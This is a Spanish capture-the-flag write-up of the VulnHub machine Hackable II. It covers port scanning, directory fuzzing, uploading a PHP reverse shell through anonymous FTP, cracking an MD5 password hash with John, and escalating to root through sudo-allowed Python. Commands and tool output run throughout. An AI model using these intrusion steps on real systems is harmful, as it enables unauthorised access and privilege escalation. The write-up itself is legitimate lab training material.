La máquina elegida para este write up será Hackable_II, una máquina sencilla, pero entretenida. Esta refuerza puntos básicos del hacking, como el reconocimiento básico con nmap, enumeración de directorios web, el uso de ftp vía Anonymous login, establecimiento de una revershell entre el servidor y el atacante, crackeo de hashes con Jonh y escalada de privilegios por sudo.
Reconocimiento
Escaneo de puertos
Comenzamos con el primer paso de todo pentest, el reconocimiento. Para ello lanzaremos un nmap que nos detecte todos los puertos abiertos con --open -p- y con la mayor rapidez posible -T5, lo exportaremos a un fichero en formato grepeable para mantener la información.
1 2 3 4 5 6 7 8 9 10 11
nmap --open -p- -T5 192.168.1.64 -oG puertos Nmap scan report for 192.168.1.64 Host is up (0.00043s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds
Una vez hemos obtenido los puertos abiertos de la máquina víctima, podemos realizar un escaneo a esos puertos concretos utilizando algunos scripts predeterminados de NMAP para obtener más información:
nmap -sCV -p 21,22,80 192.168.1.64 -Pn -oN Escaneo Nmap scan report for 192.168.1.64 Host is up (0.00024s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2f:c6:2f:c4:6d:a6:f5:5b:c2:1b:f9:17:1f:9a:09:89 (RSA) | 256 5e:91:1b:6b:f1:d8:81:de:8b:2c:f3:70:61:ea:6f:29 (ECDSA) |_ 256 f1:98:21:91:c8:ee:4d:a2:83:14:64:96:37:5b:44:3d (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds
Como conclusiones podemos observar una posible vía de ataque por ftp en el puerto 21, ya que la autenticación por Anonymous está permitida, podemos ver que en el servidor ftp existe un archivo llamado CALL.html, esta información nos será útil más tarde. La máquina dispone de ssh por el puerto 22 y de un servidor web montado en el puerto 80.
Reconocimiento web
Si nos dirigimos a la página podemos ver la plantilla por defecto de APACHE2.
Al encontrarnos en un CTF es habitual que se oculten pistas en el código fuente de la página web, vamos a echar un vistazo.
Como podemos ver, la pista nos insinúa que utilicemos alguna herramienta de reconocimiento web gobuster, dirb, en mi caso utilizaré wfuzz para realizar el ataque por fuerza bruta.
En pentest reales este tipo de comentarios no te los vas a encontrar obviamente, pero es verdad que muchas veces puedes encontrar información como la versión del software que se está utilizando o comentarios sobre la lógica de la aplicación que te permitirán entenderla mejor para su posterior explotación e incluso usuarios y contraseñas en casos muy extremos.
wfuzz -c --hc 404 -u http://192.168.1.64:80/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.1.64:80/FUZZ Total requests: 220560 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 374 L 962 W 11239 Ch "# directory-list-2.3-medium.txt" 000000003: 200 374 L 962 W 11239 Ch "# Copyright 2007 James Fisher" 000000007: 200 374 L 962 W 11239 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/" 000000012: 200 374 L 962 W 11239 Ch "# on at least 2 different hosts" 000000004: 200 374 L 962 W 11239 Ch "#" 000000002: 200 374 L 962 W 11239 Ch "#" 000000005: 200 374 L 962 W 11239 Ch "# This work is licensed under the Creative Commons" 000000008: 200 374 L 962 W 11239 Ch "# or send a letter to Creative Commons, 171 Second Street," 000000006: 200 374 L 962 W 11239 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this" 000000011: 200 374 L 962 W 11239 Ch "# Priority ordered case-sensitive list, where entries were found" 000000013: 200 374 L 962 W 11239 Ch "#" 000000009: 200 374 L 962 W 11239 Ch "# Suite 300, San Francisco, California, 94105, USA." 000000014: 200 374 L 962 W 11239 Ch "http://192.168.1.64:80/" 000000010: 200 374 L 962 W 11239 Ch "#" 000000094: 301 9 L 28 W 312 Ch "files" 000045240: 200 374 L 962 W 11239 Ch "http://192.168.1.64:80/" 000095524: 403 9 L 28 W 277 Ch "server-status"
Podemos ver un directorio llamado files, vamos a echarle un vistazo.
Vemos un archivo llamado CALL.html, anteriormente con nmap hemos visto que accediendo por ftp podemos acceder al directorio files donde se ubicaba este archivo. Aquí se nos tiene que encender la bombilla, si tenemos permisos de escritura por FTP y el archivo CALL.html es realmente el que se ubica en el servidor Web y no se trata de un backup podemos comprometer el servidor web a través de un file upload.
¿Recibiremos una llamada? El título de la página es onion no tiene mucho sentido en este contexto que digamos. Puede ser una forma de entretenernos y/o hacernos perder el tiempo un “Rabbit Hole” de manual. En este punto creo que es interesante investigar el contenido del servidor conectándonos a través de ftp.
FootHold
FTP
Vamos a conectarnos al ftp utilizando las credenciales anonymous/anonymous.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ftp 192.168.1.64 Connected to 192.168.1.64. 220 ProFTPD Server (ProFTPD Default Installation) [192.168.1.64] Name (192.168.1.64:void4m0n): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||63601|) 150 Opening ASCII mode data connection for file list -rw-r--r-- 1 0 0 109 Nov 26 2020 CALL.html 226 Transfer complete ftp>
Como vemos ftp nos conecta con el directorio files, donde está ubicado CALL.html.
Subimos la reverse shell y ganamos acceso como www-data
Con acceso al servidor FTP podemos intentar subir un archivo php el cual al ser llamado ejecute el código malicioso, en este caso una reverse shell.
Consultamos la Cheat Sheet de Pentestmonkey y adaptamos la shell con los parametros deseados:
Subimos el archivo con la reverse shell al servidor:
1 2 3 4 5 6 7
ftp> put php-reverse-shell.php local: php-reverse-shell.php remote: php-reverse-shell.php 229 Entering Extended Passive Mode (|||30588|) 150 Opening BINARY mode data connection for php-reverse-shell.php 100% |******************************************************************************************************************************************************************| 5494 174.64 MiB/s 00:00 ETA 226 Transfer complete 5494 bytes sent in 00:00 (13.78 MiB/s)
El archivo con la revershell se ha subido con éxito al directorio /files/.
Antes de llamar al archivo para que se ejecute desde el navegador web nos pondremos en escucha por el puerto indicado en la reverse shell.
Para ello utilizaremos netcat:
1 2 3
❯ nc -lvp 1234 listening on [any] 1234 ...
Una vez llamemos al archivo php malicioso desde el navegador y este se ejecute en el servidor recibiremos la shell.
1 2 3 4 5 6 7 8 9 10 11 12
❯ nc -lvp 1234 listening on [any] 1234 ... 192.168.1.64: inverse host lookup failed: Unknown host connect to [192.168.1.84] from (UNKNOWN) [192.168.1.64] 34428 Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 15:55:42 up 5:04, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
Escalada de Privilegios
www-data –> Shrek
Reconocimiento dentro del host
Podemos intentar spawnear una TTY con: python3 -c 'import pty; pty.spawn("/bin/sh")'. Una vez tengamos una terminal decente para trabajar nos dirigimos a /home/ y vemos el siguiente contenido al lister el directorio:
1 2 3 4 5
$ cd home cd home $ ls ls important.txt shrek
Podemos deducir que existe un usuario shrek donde dentro de su directorio se encuentra la primera flag user.txt, pero no tenemos permisos de lectura.
También podemos observar un fichero llamado important.txt, si hacemos un cat para ver su contenido encontramos lo siguiente:
$ /.runme.sh /.runme.sh the secret key is trolled restarting computer in 3 seconds... restarting computer in 2 seconds... restarting computer in 1 seconds... ⡴⠑⡄⠀⠀⠀⠀⠀⠀⠀ ⣀⣀⣤⣤⣤⣀⡀ ⠸⡇⠀⠿⡀⠀⠀⠀⣀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀ ⠀⠀⠀⠀⠑⢄⣠⠾⠁⣀⣄⡈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣆ ⠀⠀⠀⠀⢀⡀⠁⠀⠀⠈⠙⠛⠂⠈⣿⣿⣿⣿⣿⠿⡿⢿⣆ ⠀⠀⠀⢀⡾⣁⣀⠀⠴⠂⠙⣗⡀⠀⢻⣿⣿⠭⢤⣴⣦⣤⣹⠀⠀⠀⢀⢴⣶⣆ ⠀⠀⢀⣾⣿⣿⣿⣷⣮⣽⣾⣿⣥⣴⣿⣿⡿⢂⠔⢚⡿⢿⣿⣦⣴⣾⠸⣼⡿ ⠀⢀⡞⠁⠙⠻⠿⠟⠉⠀⠛⢹⣿⣿⣿⣿⣿⣌⢤⣼⣿⣾⣿⡟⠉ ⠀⣾⣷⣶⠇⠀⠀⣤⣄⣀⡀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇ ⠀⠉⠈⠉⠀⠀⢦⡈⢻⣿⣿⣿⣶⣶⣶⣶⣤⣽⡹⣿⣿⣿⣿⡇ ⠀⠀⠀⠀⠀⠀⠀⠉⠲⣽⡻⢿⣿⣿⣿⣿⣿⣿⣷⣜⣿⣿⣿⡇ ⠀⠀ ⠀⠀⠀⠀⠀⢸⣿⣿⣷⣶⣮⣭⣽⣿⣿⣿⣿⣿⣿⣿⠇ ⠀⠀⠀⠀⠀⠀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇ ⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ shrek:cf4c2232354952690368f1b3dfdfb24d
Parece que hemos sido “troleados”, ¿no? Si nos fijamos podemos ver que se nos ha dado un posible hash el cual pdoría corresponder a la contraseña de shrek, vamos a ver que tipo de hash es mediante hash-identifier.
Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Tenemos una coincidencia, MD5 parece ser el tipo correcto
Cracking del hash con Jonh
Teniendo el hash podemos intentar sacar la contraseña sin estar haseada por medio de fuerza bruta, usando el diccionario ya conocido rockyou.txt. Para ello utilizaremos Jonh, donde le pasamos el tipo de hash y un fichero que contenga el hash.
1 2 3 4 5 6 7 8 9 10
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash_shrek.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status onion (?) 1g 0:00:00:00 DONE (2022-06-24 21:38) 33.33g/s 2201Kp/s 2201Kc/s 2201KC/s panteraroz..jorie Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
Tenemos una coincidencia onion ¿Os suena de algo? Ya habíamos visto esta cadena de texto en el título html del archivo CALL.html, lo teníamos en nuestras narices desde el principio. Por eso tanto en los CTFs como en pentest reales es necesario recabar toda la información posible.
Vamos a intentar conectarnos por ssh con las credenciales shrek:onion.
90 packages can be updated. 68 updates are security updates.
Last login: Sun Jun 19 13:58:23 2022 from 192.168.1.84 shrek@ubuntu:~$
¡Bingo! Tenemos acceso al usuario por lo que onion es una credencial correcta, vamos a buscar la primera flag ubicada en el diretorio personal de shrek.
Para la escalada de privilegios vamos a probar con a listar si tenemos algún privilegio como sudo con sudo -l.
1 2 3 4 5 6 7
shrek@ubuntu:/home$ sudo -l Matching Defaults entries for shrek on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shrek may run the following commands on ubuntu: (root) NOPASSWD: /usr/bin/python3.5
Por lo que podemos ver el usuario shrek puede ejecutar como root el binario /usr/bin/python3.5 por lo que podríamos escalar privilegios a través de python. Nos podemos ayudar de GTFOBins.
Básicamente como podemos ejecutar python como root sería tan simple como utilizar la librería nativa os la cual permite ejecutar commandos a nivel de sistema, como lo estamos ejcutando como root, cualquier comando lanzado por python correrá en este contexto y por tanto conseguimos escalar privilegios.
Ha sido una máquina bastante sencilla, pero muy útil para los empezar en este mundillo, como resumen se podría decir que hemos aprendido los siguientes conceptos:
Reconocimiento básico con NMAP.
Reconocimiento web a través de fuzzing de direcotrios usando WFUZZ.
Entablar reverse shell mediante un archivo php y abusando de una configuración inseguira de FTP.
Identificación y Crackeo de hashes utilizando hash-identifier y Jonh.
Escalada de privilegios a través de permisos inseguros en sudo.
Créditos Y Descarga
El creador de la máquina es Elias Sousa Linkedin, muchas gracias por la creación de esta máquina y su aporte a la comunidad.
La máquina Hackable II se puede descargar en VulnHub.
Vulnhub Es una fantastica plataforma donde CUALQUIERA puede subir sus propios CTFs, por lo tanto conlleva un riesgo. Antes de utilizar cualquier máquina os recomiendo investigar al creador y montar un entorno aislado donde se minimicen los riesgos en el caso de que la máquina puediese ser maliciosa.